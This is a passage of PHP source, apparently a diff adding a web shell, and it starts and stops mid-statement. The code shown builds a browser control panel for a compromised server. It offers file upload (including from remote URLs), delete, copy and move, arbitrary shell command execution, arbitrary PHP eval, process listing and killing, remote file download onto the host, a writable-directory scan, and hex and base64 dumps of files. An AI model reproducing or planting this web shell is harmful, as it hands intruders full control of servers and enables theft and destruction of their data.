colspan=2>".$uploadmess."</td></tr>". + "<tr><td><form enctype=\"multipart/form-data\" action=\"".$surl."act=upload&d=".urlencode($d)."\" method=POST>". + "From Your Computer:</td><td><input name=\"uploadfile\" type=\"file\"></td></tr>". + "<tr><td>From URL:</td><td><input name=\"uploadurl\" type=\"text\" value=\"".htmlspecialchars($uploadurl)."\" size=\"70\"></td></tr>". + "<tr><td>Target Directory:</td><td><input name=\"uploadpath\" size=\"70\" value=\"".$dispd."\"></td></tr>". + "<tr><td>Target File Name:</td><td><input name=uploadfilename size=25></td></tr>". + "<tr><td></td><td><input type=checkbox name=uploadautoname value=1 id=df4> Convert file name to lowercase</td></tr>". + "<tr><td></td><td><input type=submit name=submit value=\"Upload\">". + "</form></td></tr></table>"; + } +} +if ($act == "delete") { + $delerr = ""; + foreach ($actbox as $v) { + $result = FALSE; + $result = fs_rmobj($v); + if (!$result) { $delerr .= "Can't delete ".htmlspecialchars($v)."<br>"; } + } + if (!empty($delerr)) { echo "<b>Error deleting:</b><br>".$delerr; } + $act = "ls"; +} +if (!$usefsbuff) { + if (($act == "paste") or ($act == "copy") or ($act == "cut") or ($act == "unselect")) { + echo "<center><b>Sorry, buffer is disabled. For enable, set directive \"\$usefsbuff\" as TRUE.</center>"; + } +} +else { + if ($act == "copy") {$err = ""; $sess_data["copy"] = array_merge($sess_data["copy"],$actbox); tp_sess_put($sess_data); $act = "ls"; } + elseif ($act == "cut") {$sess_data["cut"] = array_merge($sess_data["cut"],$actbox); tp_sess_put($sess_data); $act = "ls";} + elseif ($act == "unselect") {foreach ($sess_data["copy"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["copy"][$k]);}} foreach ($sess_data["cut"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["cut"][$k]);}} tp_sess_put($sess_data); $act = "ls";} + if ($actemptybuff) {$sess_data["copy"] = $sess_data["cut"] = array(); tp_sess_put($sess_data);} + elseif ($actpastebuff) { + $psterr = ""; + foreach($sess_data["copy"] as $k=>$v) { + $to = $d.basename($v); + if (!fs_copy_obj($v,$to)) {$psterr .= "Can't copy ".$v." to ".$to."!<br>";} + if ($copy_unset) {unset($sess_data["copy"][$k]);} + } + foreach($sess_data["cut"] as $k=>$v) { + $to = $d.basename($v); + if (!fs_move_obj($v,$to)) {$psterr .= "Can't move ".$v." to ".$to."!<br>";} + unset($sess_data["cut"][$k]); + } + tp_sess_put($sess_data); + if (!empty($psterr)) {echo "<b>Pasting with errors:</b><br>".$psterr;} + $act = "ls"; + } + elseif ($actarcbuff) { + $arcerr = ""; + if (substr($actarcbuff_path,-7,7) == ".tar.gz") {$ext = ".tar.gz";} + else {$ext = ".tar.gz";} + if ($ext == ".tar.gz") {$cmdline = "tar cfzv";} + $cmdline .= " ".$actarcbuff_path; + $objects = array_merge($sess_data["copy"],$sess_data["cut"]); + foreach($objects as $v) { + $v = str_replace("\\",DIRECTORY_SEPARATOR,$v); + if (substr($v,0,strlen($d)) == $d) {$v = basename($v);} + if (is_dir($v)) { + if (substr($v,-1) != DIRECTORY_SEPARATOR) {$v .= DIRECTORY_SEPARATOR;} + $v .= "*"; + } + $cmdline .= " ".$v; + } + $tmp = realpath("."); + chdir($d); + $ret = tpexec($cmdline); + chdir($tmp); + if (empty($ret)) {$arcerr .= "Can't call archivator (".htmlspecialchars(str2mini($cmdline,60)).")!<br>";} + $ret = str_replace("\r\n","\n",$ret); + $ret = explode("\n",$ret); + if ($copy_unset) {foreach($sess_data["copy"] as $k=>$v) {unset($sess_data["copy"][$k]);}} + foreach($sess_data["cut"] as $k=>$v) { + if (in_array($v,$ret)) {fs_rmobj($v);} + unset($sess_data["cut"][$k]); + } + tp_sess_put($sess_data); + if (!empty($arcerr)) {echo "<b>Archivation errors:</b><br>".$arcerr;} + $act = "ls"; + } + elseif ($actpastebuff) { + $psterr = ""; + foreach($sess_data["copy"] as $k=>$v) { + $to = $d.basename($v); + if (!fs_copy_obj($v,$d)) {$psterr .= "Can't copy ".$v." to ".$to."!<br>";} + if ($copy_unset) {unset($sess_data["copy"][$k]);} + } + foreach($sess_data["cut"] as $k=>$v) { + $to = $d.basename($v); + if (!fs_move_obj($v,$d)) {$psterr .= "Can't move ".$v." to ".$to."!<br>";} + unset($sess_data["cut"][$k]); + } + tp_sess_put($sess_data); + if (!empty($psterr)) {echo "<b>Error pasting:</b><br>".$psterr;} + $act = "ls"; + } +} +if ($act == "cmd") { + @chdir($chdir); + if (!empty($submit)) { + echo "<div class=barheader>.: Results of Execution :.</div>\n"; + $olddir = realpath("."); + @chdir($d); + $ret = tpexec($cmd); + $ret = convert_cyr_string($ret,"d","w"); + if ($cmd_txt) { + $rows = count(explode("\n",$ret))+1; + if ($rows < 10) { $rows = 10; } else { $rows = 30; } + $cols = 130; + echo "<textarea class=shell cols=\"$cols\" rows=\"$rows\" readonly>".htmlspecialchars($ret)."</textarea>\n"; + //echo "<div align=left><pre>".htmlspecialchars($ret)."</pre></div>"; + } + else { echo $ret."<br>"; } + @chdir($olddir); + } +} +if ($act == "ls") { + if (count($ls_arr) > 0) { $list = $ls_arr; } + else { + $list = array(); + if ($h = @opendir($d)) { + while (($o = readdir($h)) !== FALSE) {$list[] = $d.$o;} + closedir($h); + } + } + if (count($list) == 0) { echo "<div class=fxerrmsg>Can't open folder (".htmlspecialchars($d).")!</div>";} + else { + $objects = array(); + $vd = "f"; //Viewing mode + if ($vd == "f") { + $objects["head"] = array(); + $objects["folders"] = array(); + $objects["links"] = array(); + $objects["files"] = array(); + foreach ($list as $v) { + $o = basename($v); + $row = array(); + if ($o == ".") {$row[] = $d.$o; $row[] = "CURDIR";} + elseif ($o == "..") {$row[] = $d.$o; $row[] = "UPDIR";} + elseif (is_dir($v)) { + if (is_link($v)) {$type = "LINK";} + else {$type = "DIR";} + $row[] = $v; + $row[] = $type; + } + elseif(is_file($v)) {$row[] = $v; $row[] = filesize($v);} + $row[] = filemtime($v); + if (!$win) { + $ow = posix_getpwuid(fileowner($v)); + $gr = posix_getgrgid(filegroup($v)); + $row[] = ($ow["name"]?$ow["name"]:fileowner($v))."/".($gr["name"]?$gr["name"]:filegroup($v)); + } + $row[] = fileperms($v); + if (($o == ".") or ($o == "..")) {$objects["head"][] = $row;} + elseif (is_link($v)) {$objects["links"][] = $row;} + elseif (is_dir($v)) {$objects["folders"][] = $row;} + elseif (is_file($v)) {$objects["files"][] = $row;} + $i++; + } + $row = array(); + $row[] = "<b>Name</b>"; + $row[] = "<b>Size</b>"; + $row[] = "<b>Date Modified</b>"; + if (!$win) {$row[] = "<b>Owner/Group</b>";} + $row[] = "<b>Perms</b>"; + $row[] = "<b>Action</b>"; + $parsesort = parsesort($sort); + $sort = $parsesort[0].$parsesort[1]; + $k = $parsesort[0]; + if ($parsesort[1] != "a") {$parsesort[1] = "d";} + $y = " <a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&sort=".$k.($parsesort[1] == "a"?"d":"a")."\">"; + $y .= "<img src=\"".$surl."act=img&img=sort_".($sort[1] == "a"?"asc":"desc")."\" height=\"9\" width=\"14\" alt=\"".($parsesort[1] == "a"?"Asc.":"Desc")."\" border=\"0\"></a>"; + $row[$k] .= $y; + for($i=0;$i<count($row)-1;$i++) { + if ($i != $k) {$row[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&sort=".$i.$parsesort[1]."\">".$row[$i]."</a>";} + } + $v = $parsesort[0]; + usort($objects["folders"], "tabsort"); + usort($objects["links"], "tabsort"); + usort($objects["files"], "tabsort"); + if ($parsesort[1] == "d") { + $objects["folders"] = array_reverse($objects["folders"]); + $objects["files"] = array_reverse($objects["files"]); + } + $objects = array_merge($objects["head"],$objects["folders"],$objects["links"],$objects["files"]); + $tab = array(); + $tab["cols"] = array($row); + $tab["head"] = array(); + $tab["folders"] = array(); + $tab["links"] = array(); + $tab["files"] = array(); + $i = 0; + foreach ($objects as $a) { + $v = $a[0]; + $o = basename($v); + $dir = dirname($v); + if ($disp_fullpath) {$disppath = $v;} + else {$disppath = $o;} + $disppath = str2mini($disppath,60); + if (in_array($v,$sess_data["cut"])) {$disppath = "<strike>".$disppath."</strike>";} + elseif (in_array($v,$sess_data["copy"])) {$disppath = "<u>".$disppath."</u>";} + foreach ($regxp_highlight as $r) { + if (ereg($r[0],$o)) { + if ((!is_numeric($r[1])) or ($r[1] > 3)) {$r[1] = 0; ob_clean(); echo "Warning! Configuration error in \$regxp_highlight[".$k."][0] - unknown command."; tpshexit();} + else { + $r[1] = round($r[1]); + $isdir = is_dir($v); + if (($r[1] == 0) or (($r[1] == 1) and !$isdir) or (($r[1] == 2) and !$isdir)) { + if (empty($r[2])) {$r[2] = "<b>"; $r[3] = "</b>";} + $disppath = $r[2].$disppath.$r[3]; + if ($r[4]) {break;} + } + } + } + } + $uo = urlencode($o); + $ud = urlencode($dir); + $uv = urlencode($v); + $row = array(); + if ($o == ".") { + $row[] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\"><img src=\"".$surl."act=img&img=small_dir\" border=\"0\">&nbsp;".$o."</a>"; + $row[] = "CURDIR"; + } + elseif ($o == "..") { + $row[] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\"><img src=\"".$surl."act=img&img=ext_lnk\" border=\"0\">&nbsp;".$o."</a>"; + $row[] = "UPDIR"; + } + elseif (is_dir($v)) { + if (is_link($v)) { + $disppath .= " => ".readlink($v); + $type = "LINK"; + $row[] = "<a href=\"".$surl."act=ls&d=".$uv."&sort=".$sort."\"><img src=\"".$surl."act=img&img=ext_lnk\" border=\"0\">&nbsp;[".$disppath."]</a>"; + } + else { + $type = "DIR"; + $row[] = "<a href=\"".$surl."act=ls&d=".$uv."&sort=".$sort."\"><img src=\"".$surl."act=img&img=small_dir\" border=\"0\">&nbsp;[".$disppath."]</a>"; + } + $row[] = $type; + } + elseif(is_file($v)) { + $ext = explode(".",$o); + $c = count($ext)-1; + $ext = $ext[$c]; + $ext = strtolower($ext); + $row[] = "<a href=\"".$surl."act=f&f=".$uo."&d=".$ud."\"><img src=\"".$surl."act=img&img=ext_".$ext."\" border=\"0\">&nbsp;".$disppath."</a>"; + $row[] = view_size($a[1]); + } + $row[] = @date("d.m.Y H:i:s",$a[2]); + if (!$win) { $row[] = $a[3]; } + $row[] = "<a href=\"".$surl."act=chmod&f=".$uo."&d=".$ud."\"><b>".view_perms_color($v)."</b></a>"; + if ($o == ".") {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" onclick=\"ls_reverse_all();\">"; $i--;} + else {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" id=\"actbox".$i."\" value=\"".htmlspecialchars($v)."\">";} + if (is_dir($v)) {$row[] = "<a href=\"".$surl."act=d&d=".$uv."\"><img src=\"".$surl."act=img&img=ext_diz\" alt=\"Info\" border=\"0\"></a>&nbsp;".$checkbox;} + else {$row[] = "<a href=\"".$surl."act=f&f=".$uo."&ft=info&d=".$ud."\"><img src=\"".$surl."act=img&img=ext_diz\" alt=\"Info\" height=\"16\" width=\"16\" border=\"0\"></a>&nbsp;<a href=\"".$surl."act=f&f=".$uo."&ft=edit&d=".$ud."\"><img src=\"".$surl."act=img&img=change\" alt=\"Edit\" height=\"16\" width=\"19\" border=\"0\"></a>&nbsp;<a href=\"".$surl."act=f&f=".$uo."&ft=download&d=".$ud."\"><img src=\"".$surl."act=img&img=download\" alt=\"Download\" border=\"0\"></a>&nbsp;".$checkbox;} + if (($o == ".") or ($o == "..")) {$tab["head"][] = $row;} + elseif (is_link($v)) {$tab["links"][] = $row;} + elseif (is_dir($v)) {$tab["folders"][] = $row;} + elseif (is_file($v)) {$tab["files"][] = $row;} + $i++; + } + } + // Compiling table + $table = array_merge($tab["cols"],$tab["head"],$tab["folders"],$tab["links"],$tab["files"]); + echo "<div class=barheader>.: "; + if (!empty($fx_infohead)) { echo $fx_infohead; } + else { echo "Directory List (".count($tab["files"])." files and ".(count($tab["folders"])+count($tab["links"]))." folders)"; } + echo " :.</div>\n"; + echo "<form action=\"".$surl."\" method=POST name=\"ls_form\"><input type=hidden name=act value=\"".$dspact."\"><input type=hidden name=d value=".$d.">". + "<table class=explorer>"; + foreach($table as $row) { + echo "<tr>"; + foreach($row as $v) {echo "<td>".$v."</td>";} + echo "</tr>\r\n"; + } + echo "</table>". + "<script>". + "function ls_setcheckboxall(status) {". + " var id = 1; var num = ".(count($table)-2).";". + " while (id <= num) { document.getElementById('actbox'+id).checked = status; id++; }". + "}". + "function ls_reverse_all() {". + " var id = 1; var num = ".(count($table)-2).";". + " while (id <= num) { document.getElementById('actbox'+id).checked = !document.getElementById('actbox'+id).checked; id++; }". + "}". + "</script>". + "<div align=\"right\">". + "<input type=\"button\" onclick=\"ls_setcheckboxall(true);\" value=\"Select all\">&nbsp;&nbsp;<input type=\"button\" onclick=\"ls_setcheckboxall(false);\" value=\"Unselect all\">". + "<img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\">"; + if (count(array_merge($sess_data["copy"],$sess_data["cut"])) > 0 and ($usefsbuff)) { + echo "<input type=submit name=actarcbuff value=\"Pack buffer to archive\">&nbsp;<input type=\"text\" name=\"actarcbuff_path\" value=\"fx_archive_".substr(md5(rand(1,1000).rand(1,1000)),0,5).".tar.gz\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=submit name=\"actpastebuff\" value=\"Paste\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=submit name=\"actemptybuff\" value=\"Empty buffer\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"; + } + echo "<select name=act><option value=\"".$act."\">With selected:</option>"; + echo "<option value=delete".($dspact == "delete"?" selected":"").">Delete</option>"; + echo "<option value=chmod".($dspact == "chmod"?" selected":"").">Change-mode</option>"; + if ($usefsbuff) { + echo "<option value=cut".($dspact == "cut"?" selected":"").">Cut</option>"; + echo "<option value=copy".($dspact == "copy"?" selected":"").">Copy</option>"; + echo "<option value=unselect".($dspact == "unselect"?" selected":"").">Unselect</option>"; + } + echo "</select>&nbsp;<input type=submit value=\"Confirm\"></div>"; + echo "</form>"; + } +} + +if ($act == "phpfsys") { + echo "<div align=left>"; + $fsfunc = $phpfsysfunc; + if ($fsfunc=="copy") { + if (!copy($arg1, $arg2)) { echo "Failed to copy $arg1...\n";} + else { echo "<b>Success!</b> $arg1 copied to $arg2\n"; } + } + elseif ($fsfunc=="rename") { + if (!rename($arg1, $arg2)) { echo "Failed to rename/move $arg1!\n";} + else { echo "<b>Success!</b> $arg1 renamed/moved to $arg2\n"; } + } + elseif ($fsfunc=="chmod") { + if (!chmod($arg1,$arg2)) { echo "Failed to chmod $arg1!\n";} + else { echo "<b>Perm for $arg1 changed to $arg2!</b>\n"; } + } + elseif ($fsfunc=="read") { + $darg = $d.$arg1; + if ($hasil = @file_get_contents($darg)) { + echo "<b>Filename:</b> ".$darg."<br>"; + echo "<center><textarea cols=135 rows=30>"; + echo htmlentities($hasil); + echo "</textarea></center>\n"; + } + else { echo "<div class=fxerrmsg> Couldn't open ".$darg."<div>"; } + } + elseif ($fsfunc=="write") { + $darg = $d.$arg1; + if(@file_put_contents($darg,$arg2)) { + echo "<b>Saved!</b> ".$darg; + } + else { echo "<div class=fxerrmsg>Can't write to $darg!</div>"; } + } + elseif ($fsfunc=="downloadbin") { + $handle = fopen($arg1, "rb"); + $contents = ''; + while (!feof($handle)) { + $contents .= fread($handle, 8192); + } + $r = @fopen($d.$arg2,'w'); + if (fwrite($r,$contents)) { echo "<b>Success!</b> $arg1 saved to ".$d.$arg2." (".view_size(filesize($d.$arg2)).")"; } + else { echo "<div class=fxerrmsg>Can't write to ".$d.$arg2."!</div>"; } + fclose($r); + fclose($handle); + } + elseif ($fsfunc=="download") { + $text = implode('', file($arg1)); + if ($text) { + $r = @fopen($d.$arg2,'w'); + if (fwrite($r,$text)) { echo "<b>Success!</b> $arg1 saved to ".$d.$arg2." (".view_size(filesize($d.$arg2)).")"; } + else { echo "<div class=fxerrmsg>Can't write to ".$d.$arg2."!</div>"; } + fclose($r); + } + else { echo "<div class=fxerrmsg>Can't download from $arg1!</div>";} + } + elseif ($fsfunc=='mkdir') { + $thedir = $d.$arg1; + if ($thedir != $d) { + if (file_exists($thedir)) { echo "<b>Already exists:</b> ".htmlspecialchars($thedir); } + elseif (!mkdir($thedir)) { echo "<b>Access denied:</b> ".htmlspecialchars($thedir); } + else { echo "<b>Dir created:</b> ".htmlspecialchars($thedir);} + } + else { echo "Can't create current dir:<b> $thedir</b>"; } + } + elseif ($fsfunc=='fwritabledir') { + function recurse_dir($dir,$max_dir) { + global $dir_count; + $dir_count++; + if( $cdir = dir($dir) ) { + while( $entry = $cdir-> read() ) { + if( $entry != '.' && $entry != '..' ) { + if(is_dir($dir.$entry) && is_writable($dir.$entry) ) { + if ($dir_count > $max_dir) { return; } + echo "[".$dir_count."] ".$dir.$entry."\n"; + recurse_dir($dir.$entry.DIRECTORY_SEPARATOR,$max_dir); + } + } + } + $cdir->close(); + } + } + if (!$arg1) { $arg1 = $d; } + if (!$arg2) { $arg2 = 10; } + if (is_dir($arg1)) { + echo "<b>Writable directories (Max: $arg2) in:</b> $arg1<hr noshade size=1>"; + echo "<pre>"; + recurse_dir($arg1,$arg2); + echo "</pre>"; + $total = $dir_count - 1; + echo "<hr noshade size=1><b>Founds:</b> ".$total." of <b>Max</b> $arg2"; + } + else { + echo "<div class=fxerrmsg>Directory is not exist or permission denied!</div>"; + } + } + else { + if (!$arg1) { echo "<div class=fxerrmsg>No operation! Please fill parameter [A]!</div>\n"; } + else { + if ($hasil = $fsfunc($arg1)) { + echo "<b>Result of $fsfunc $arg1:</b><br>"; + if (!is_array($hasil)) { echo "$hasil\n"; } + else { + echo "<pre>"; + foreach ($hasil as $v) { echo $v."\n"; } + echo "</pre>"; + } + } + else { echo "<div class=fxerrmsg>$fsfunc $arg1 failed!</div>\n"; } + } + } + echo "</div>\n"; +} +if ($act == "processes") { + echo "<div class=barheader>.: Processes :.</div>\n"; + if (!$win) { $handler = "ps aux".($grep?" | grep '".addslashes($grep)."'":""); } + else { $handler = "tasklist"; } + $ret = tpexec($handler); + if (!$ret) { echo "Can't execute \"".$handler."\"!"; } + else { + if (empty($processes_sort)) { $processes_sort = $sort_default; } + $parsesort = parsesort($processes_sort); + if (!is_numeric($parsesort[0])) {$parsesort[0] = 0;} + $k = $parsesort[0]; + if ($parsesort[1] != "a") { + $y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."a\"><img src=\"".$surl."act=img&img=sort_desc\" border=\"0\"></a>"; + } + else { + $y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."d\"><img src=\"".$surl."act=img&img=sort_asc\" height=\"9\" width=\"14\" border=\"0\"></a>"; + } + $ret = htmlspecialchars($ret); + if (!$win) { //Not Windows + if ($pid) { + if (is_null($sig)) { $sig = 9; } + echo "Sending signal ".$sig." to #".$pid."... "; + if (posix_kill($pid,$sig)) { echo "OK."; } else { echo "ERROR."; } + } + while (ereg(" ",$ret)) { $ret = str_replace(" "," ",$ret); } + $stack = explode("\n",$ret); + $head = explode(" ",$stack[0]); + unset($stack[0]); + for($i=0;$i<count($head);$i++) { + if ($i != $k) { + $head[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$i.$parsesort[1]."\"><b>".$head[$i]."</b></a>"; + } + } + $head[$i] = ""; + $prcs = array(); + foreach ($stack as $line) { + if (!empty($line)) { + $line = explode(" ",$line); + $line[10] = join(" ",array_slice($line,10)); + $line = array_slice($line,0,11); + if ($line[0] == get_current_user()) { $line[0] = "<font color=green>".$line[0]."</font>"; } + $line[] = "<a href=\"".$surl."act=processes&d=".urlencode($d)."&pid=".$line[1]."&sig=9\"><u>KILL</u></a>"; + $prcs[] = $line; + } + } + } + + else { + while (ereg(" ",$ret)) { $ret = str_replace(" "," ",$ret); } + while (ereg("=",$ret)) { $ret = str_replace("=","",$ret); } + $ret = convert_cyr_string($ret,"d","w"); + $stack = explode("\n",$ret); + unset($stack[0],$stack[2]); + $stack = array_values($stack); + $stack[0]=str_replace("Image Name","ImageName",$stack[0]); + $stack[0]=str_replace("Session Name","SessionName",$stack[0]); + $stack[0]=str_replace("Mem Usage","MemoryUsage",$stack[0]); + $head = explode(" ",$stack[0]); + $stack = array_slice($stack,1); + $head = array_values($head); + if ($parsesort[1] != "a") { $y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."a\"><img src=\"".$surl."act=img&img=sort_desc\" border=\"0\"></a>"; } + else { $y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."d\"><img src=\"".$surl."act=img&img=sort_asc\" border=\"0\"></a>"; } + if ($k > count($head)) {$k = count($head)-1;} + for($i=0;$i<count($head);$i++) { + if ($i != $k) { $head[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$i.$parsesort[1]."\"><b>".trim($head[$i])."</b></a>"; } + } + $prcs = array(); + unset($stack[0]); + foreach ($stack as $line) { + if (!empty($line)) { + $line = explode(" ",$line); + $line[4] = str_replace(".","",$line[4]); + $line[4] = intval($line[4]) * 1024; + unset($line[5]); + $prcs[] = $line; + } + } + } + $head[$k] = "<b>".$head[$k]."</b>".$y; + $v = $processes_sort[0]; + usort($prcs,"tabsort"); + if ($processes_sort[1] == "d") { $prcs = array_reverse($prcs); } + $tab = array(); + $tab[] = $head; + $tab = array_merge($tab,$prcs); + echo "<table class=explorer>\n"; + foreach($tab as $i=>$k) { + echo "<tr>"; + foreach($k as $j=>$v) { + if ($win and $i > 0 and $j == 4) { $v = view_size($v); } + echo "<td>".$v."</td>"; + } + echo "</tr>\n"; + } + echo "</table>"; + } +} +if ($act == "eval") { + if (!empty($eval)) { + echo "Result of execution this PHP-code:<br>"; + $tmp = @ob_get_contents(); + $olddir = realpath("."); + @chdir($d); + if ($tmp) { + @ob_clean(); + eval($eval); + $ret = @ob_get_contents(); + $ret = convert_cyr_string($ret,"d","w"); + @ob_clean(); + echo $tmp; + if ($eval_txt) { + $rows = count(explode("\r\n",$ret))+1; + if ($rows < 10) {$rows = 10;} + echo "<br><textarea cols=\"115\" rows=\"".$rows."\" readonly>".htmlspecialchars($ret)."</textarea>"; + } + else {echo $ret."<br>";} + } + else { + if ($eval_txt) { + echo "<br><textarea cols=\"115\" rows=\"15\" readonly>"; + eval($eval); + echo "</textarea>"; + } + else {echo $ret;} + } + @chdir($olddir); + } + else {echo "<b>PHP-code Execution (Use without PHP Braces!)</b>"; if (empty($eval_txt)) {$eval_txt = TRUE;}} + echo "<form action=\"".$surl."\" method=POST><input type=hidden name=act value=eval><textarea name=\"eval\" cols=\"115\" rows=\"10\">".htmlspecialchars($eval)."</textarea><input type=hidden name=\"d\" value=\"".$dispd."\"><br><br><input type=submit value=\"Execute\">&nbsp;Display in text-area&nbsp;<input type=\"checkbox\" name=\"eval_txt\" value=\"1\""; if ($eval_txt) {echo " checked";} echo "></form>"; +} +if ($act == "f") { + echo "<div align=left>"; + if ((!is_readable($d.$f) or is_dir($d.$f)) and $ft != "edit") { + if (file_exists($d.$f)) {echo "<center><b>Permision denied (".htmlspecialchars($d.$f).")!</b></center>";} + else {echo "<center><b>File does not exists (".htmlspecialchars($d.$f).")!</b><br><a href=\"".$surl."act=f&f=".urlencode($f)."&ft=edit&d=".urlencode($d)."&c=1\"><u>Create</u></a></center>";} + } + else { + $r = @file_get_contents($d.$f); + $ext = explode(".",$f); + $c = count($ext)-1; + $ext = $ext[$c]; + $ext = strtolower($ext); + $rft = ""; + foreach($ftypes as $k=>$v) {if (in_array($ext,$v)) {$rft = $k; break;}} + if (eregi("sess_(.*)",$f)) {$rft = "phpsess";} + if (empty($ft)) {$ft = $rft;} + $arr = array( + array("<img src=\"".$surl."act=img&img=ext_diz\" border=\"0\">","info"), + array("<img src=\"".$surl."act=img&img=ext_html\" border=\"0\">","html"), + array("<img src=\"".$surl."act=img&img=ext_txt\" border=\"0\">","txt"), + array("Code","code"), + array("Session","phpsess"), + array("<img src=\"".$surl."act=img&img=ext_exe\" border=\"0\">","exe"), + array("SDB","sdb"), + array("<img src=\"".$surl."act=img&img=ext_gif\" border=\"0\">","img"), + array("<img src=\"".$surl."act=img&img=ext_ini\" border=\"0\">","ini"), + array("<img src=\"".$surl."act=img&img=download\" border=\"0\">","download"), + array("<img src=\"".$surl."act=img&img=ext_rtf\" border=\"0\">","notepad"), + array("<img src=\"".$surl."act=img&img=change\" border=\"0\">","edit") + ); + echo "<b>Viewing file:&nbsp;&nbsp;&nbsp;&nbsp;<img src=\"".$surl."act=img&img=ext_".$ext."\" border=\"0\">&nbsp;".$f." (".view_size(filesize($d.$f)).") &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;".view_perms_color($d.$f)."</b><br>Select action/file-type:<br>"; + foreach($arr as $t) { + if ($t[1] == $rft) {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><font color=green>".$t[0]."</font></a>";} + elseif ($t[1] == $ft) {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b><u>".$t[0]."</u></b></a>";} + else {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b>".$t[0]."</b></a>";} + echo " (<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&white=1&d=".urlencode($d)."\" target=\"_blank\">+</a>) |"; + } + echo "<hr size=\"1\" noshade>"; + if ($ft == "info") { + echo "<b>Information:</b><table border=0 cellspacing=1 cellpadding=2><tr><td><b>Path</b></td><td> ".$d.$f."</td></tr><tr><td><b>Size</b></td><td> ".view_size(filesize($d.$f))."</td></tr><tr><td><b>MD5</b></td><td> ".md5_file($d.$f)."</td></tr>"; + if (!$win) { + echo "<tr><td><b>Owner/Group</b></td><td> "; + $ow = posix_getpwuid(fileowner($d.$f)); + $gr = posix_getgrgid(filegroup($d.$f)); + echo ($ow["name"]?$ow["name"]:fileowner($d.$f))."/".($gr["name"]?$gr["name"]:filegroup($d.$f)); + } + echo "<tr><td><b>Perms</b></td><td><a href=\"".$surl."act=chmod&f=".urlencode($f)."&d=".urlencode($d)."\">".view_perms_color($d.$f)."</a></td></tr><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d.$f))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d.$f))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d.$f))."</td></tr></table>"; + $fi = fopen($d.$f,"rb"); + if ($fi) { + if ($fullhexdump) {echo "<b>FULL HEXDUMP</b>"; $str = fread($fi,filesize($d.$f));} + else {echo "<b>HEXDUMP PREVIEW</b>"; $str = fread($fi,$hexdump_lines*$hexdump_rows);} + $n = 0; + $a0 = "00000000<br>"; + $a1 = ""; + $a2 = ""; + for ($i=0; $i<strlen($str); $i++) { + $a1 .= sprintf("%02X",ord($str[$i]))." "; + switch (ord($str[$i])) { + case 0: $a2 .= "<font>0</font>"; break; + case 32: + case 10: + case 13: $a2 .= "&nbsp;"; break; + default: $a2 .= htmlspecialchars($str[$i]); + } + $n++; + if ($n == $hexdump_rows) { + $n = 0; + if ($i+1 < strlen($str)) {$a0 .= sprintf("%08X",$i+1)."<br>";} + $a1 .= "<br>"; + $a2 .= "<br>"; + } + } + echo "<table border=1 bgcolor=#666666>". + "<tr><td bgcolor=#666666>".$a0."</td>". + "<td bgcolor=#000000>".$a1."</td>". + "<td bgcolor=#000000>".$a2."</td>". + "</tr></table><br>"; + } + $encoded = ""; + if ($base64 == 1) { + echo "<b>Base64 Encode</b><br>"; + $encoded = base64_encode(file_get_contents($d.$f)); + } + elseif($base64 == 2) { + echo "<b>Base64 Encode + Chunk</b><br>"; + $encoded = chunk_split(base64_encode(file_get_contents($d.$f))); + } + elseif($base64 == 3) { + echo "<b>Base64 Encode + Chunk + Quotes</b><br>"; + $encoded = base64_encode(file_get_contents($d.$f)); + $encoded = substr(preg_replace("!.{1,76}!","'\\0'.\n",$encoded),0,-2); + } + elseif($base64 == 4) { + $text = file_get_contents($d.$f); + $encoded = base64_decode($text); + echo "<b>Base64 Decode"; + if (base64_encode($encoded) != $text) {echo " (failed)";} + echo "</b><br>"; + } + if (!empty($encoded)) + { + echo "<textarea cols=80 rows=10>".htmlspecialchars($encoded)."</textarea><br><br>"; + } + echo "<b>HEXDUMP:</b><nobr> [<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&fullhexdump=1&d=".urlencode($d)."\">Full</a>] [<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&d=".urlencode($d)."\">Preview</a>]<br><b>Base64: </b> + <nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=1&d=".urlencode($d)."\">Encode</a>]&nbsp;</nobr> + <nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=2&d=".urlencode($d)."\">+chunk</a>]&nbsp;</nobr> + <nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=3&d=".urlencode($d)."\">+chunk+quotes</a>]&nbsp;</nobr> + <nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=4&d=".urlencode($d)."\">Decode</a>]&nbsp;</nobr> + <P>"; + } + elseif ($ft == "html") { + if ($white) {@ob_clean();} + echo $r; + if ($white) {tpshexit();} + } + elseif ($ft == 